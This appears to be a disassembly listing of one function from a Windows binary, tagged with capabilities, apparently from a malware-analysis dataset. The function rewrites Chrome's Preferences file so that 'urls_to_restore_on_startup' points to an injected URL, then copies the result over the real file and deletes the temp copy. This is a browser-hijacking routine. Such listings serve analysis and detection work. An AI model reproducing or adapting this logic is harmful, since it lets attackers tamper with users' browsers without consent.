Function at 0x40a860
Capabilities:
Copy file
Delete file
Persist via run registry key
Query environment variable

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xfffff3c8
push ebx
push esi
push edi
lea esi, [ebp - 0x838]
mov eax, 0x4c6c04
call fcn.00490d08
cmp dword [ebp + 8], 0
jne 0x40a89a
mov edx, dword [ebp - 0x34]
mov dword fs:[0], edx
mov eax, edx
jmp 0x40ac44
mov word [ebp - 0x24], 8
push esi
lea edi, [ebp - 0x438]
mov esi, 0x4baac4
mov ecx, 0x100
rep movsd dword es:[edi], dword [esi]
pop esi
xor ebx, ebx
mov word [ebp - 0x24], 8
push esi
mov edi, esi
mov esi, 0x4baec5
mov ecx, 0x100
rep movsd dword es:[edi], dword [esi]
pop esi
inc ebx
mov word [ebp - 0x24], 8
push ebx
push str._TEMP_ud_06d.tmp
push 0x400
push esi
call fcn.00493644
add esp, 0x10
lea eax, [ebp - 0x438]
push 0x400
push eax
push esi
call sub.KERNEL32.DLL_ExpandEnvironmentStringsA
mov word [ebp - 0x24], 0x14
lea edx, [ebp - 0x438]
lea eax, [ebp - 4]
call fcn.0049c954
inc dword [ebp - 0x18]
mov eax, dword [eax]
call fcn.004420d4
xor edx, edx
mov dl, al
lea eax, [ebp - 4]
cmp edx, 1
mov edx, 2
sbb ecx, ecx
neg ecx
push ecx
dec dword [ebp - 0x18]
call fcn.0049ca98
pop ecx
test cl, cl
jne 0x40a93a
jmp 0x40a8bc
mov word [ebp - 0x24], 8
xor ebx, ebx
lea edi, [ebp - 0xc38]
mov esi, 0x4bb2c6
mov ecx, 0x100
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0xc38]
push 0x400
push eax
push str._LOCALAPPDATA_GoogleChromeUser_DataDefaultPreferences
call sub.KERNEL32.DLL_ExpandEnvironmentStringsA
mov word [ebp - 0x24], 0x20
lea edx, [ebp - 0xc38]
lea eax, [ebp - 8]
call fcn.0049c954
inc dword [ebp - 0x18]
mov eax, dword [eax]
call fcn.004420d4
xor edx, edx
mov dl, al
lea eax, [ebp - 8]
cmp edx, 1
mov edx, 2
sbb ecx, ecx
neg ecx
push ecx
dec dword [ebp - 0x18]
call fcn.0049ca98
pop ecx
test cl, cl
je 0x40aa5b
push 0x400
lea eax, [ebp - 0xc38]
push eax
push str._APPDATA_GoogleChromeUser_DataDefaultPreferences
call sub.KERNEL32.DLL_ExpandEnvironmentStringsA
mov word [ebp - 0x24], 0x2c
lea edx, [ebp - 0xc38]
lea eax, [ebp - 0xc]
call fcn.0049c954
inc dword [ebp - 0x18]
mov eax, dword [eax]
call fcn.004420d4
xor edx, edx
mov dl, al
lea eax, [ebp - 0xc]
cmp edx, 1
mov edx, 2
sbb ecx, ecx
neg ecx
push ecx
dec dword [ebp - 0x18]
call fcn.0049ca98
pop ecx
test cl, cl
je 0x40aa5b
push 0x400
lea eax, [ebp - 0xc38]
push eax
push 0x4c6962
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push SysReAllocStringLen
call fcn.004113dc
add esp, 0x14
cmp byte [ebp - 0xc38], 0
je 0x40aa5b
push 0x400
lea edx, [ebp - 0xc38]
push edx
call fcn.0041203c
add esp, 8
lea ecx, [ebp - 0xc38]
push 0x400
push 0x4c68bf
push ecx
call fcn.004119a0
add esp, 0xc
mov word [ebp - 0x24], 0x38
lea edx, [ebp - 0xc38]
lea eax, [ebp - 0x10]
call fcn.0049c954
inc dword [ebp - 0x18]
mov eax, dword [eax]
call fcn.004420d4
push eax
dec dword [ebp - 0x18]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.0049ca98
pop ecx
test cl, cl
je 0x40ac27
push 0x4c6970
lea eax, [ebp - 0xc38]
push eax
call fcn.00492968
add esp, 8
mov dword [ebp - 0x38], eax
mov word [ebp - 0x24], 8
cmp dword [ebp - 0x38], 0
je 0x40ac02
push 0x4c6973
lea edx, [ebp - 0x438]
push edx
call fcn.00492968
add esp, 8
mov esi, eax
test esi, esi
je 0x40abf8
push esi
mov esi, 0x4bb6c7
lea edi, [ebp - 0x1c38]
mov ecx, 0x400
rep movsd dword es:[edi], dword [esi]
pop esi
jmp 0x40abd1
push str.urls_to_restore_on_startup
lea eax, [ebp - 0x1c38]
push eax
call fcn.00490a01
add esp, 8
test eax, eax
je 0x40abb1
xor edi, edi
mov word [ebp - 0x24], 8
lea ebx, [ebp - 0x1c38]
jmp 0x40ab98
xor eax, eax
mov al, byte [ebx]
cmp eax, 0x5b
jne 0x40ab96
mov byte [ebx + 1], 0
push 0x1000
push 0x4c6992
lea edx, [ebp - 0x1c38]
push edx
call fcn.004119a0
add esp, 0xc
push 0x1000
mov ecx, dword [ebp + 8]
push ecx
lea eax, [ebp - 0x1c38]
push eax
call fcn.004119a0
add esp, 0xc
lea edx, [ebp - 0x1c38]
push 0x1000
push str.____r_n
push edx
call fcn.004119a0
add esp, 0xc
push esi
lea ecx, [ebp - 0x1c38]
push ecx
call fcn.00490908
pop ecx
push eax
push 1
lea eax, [ebp - 0x1c38]
push eax
call fcn.00492d48
add esp, 0x10
jmp 0x40abad
inc edi
inc ebx
lea edx, [ebp - 0x1c38]
push edx
call fcn.00490908
pop ecx
cmp edi, eax
jb 0x40ab1d
mov bl, 1
jmp 0x40abd1
push esi
lea eax, [ebp - 0x1c38]
push eax
call fcn.00490908
pop ecx
push eax
push 1
lea edx, [ebp - 0x1c38]
push edx
call fcn.00492d48
add esp, 0x10
mov ecx, dword [ebp - 0x38]
lea eax, [ebp - 0x1c38]
push ecx
push 0x1000
push eax
call fcn.004925f0
add esp, 0xc
test eax, eax
jne 0x40aaf1
push esi
call fcn.004924c0
pop ecx
mov edx, dword [ebp - 0x38]
push edx
call fcn.004924c0
pop ecx
test bl, bl
je 0x40ac1b
push 0
lea ecx, [ebp - 0xc38]
push ecx
lea eax, [ebp - 0x438]
push eax
call sub.KERNEL32.DLL_CopyFileA
lea edx, [ebp - 0x438]
push edx
call sub.KERNEL32.DLL_DeleteFileA
mov word [ebp - 0x24], 0
jmp 0x40ac3a
mov ecx, dword [ebp - 0x34]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret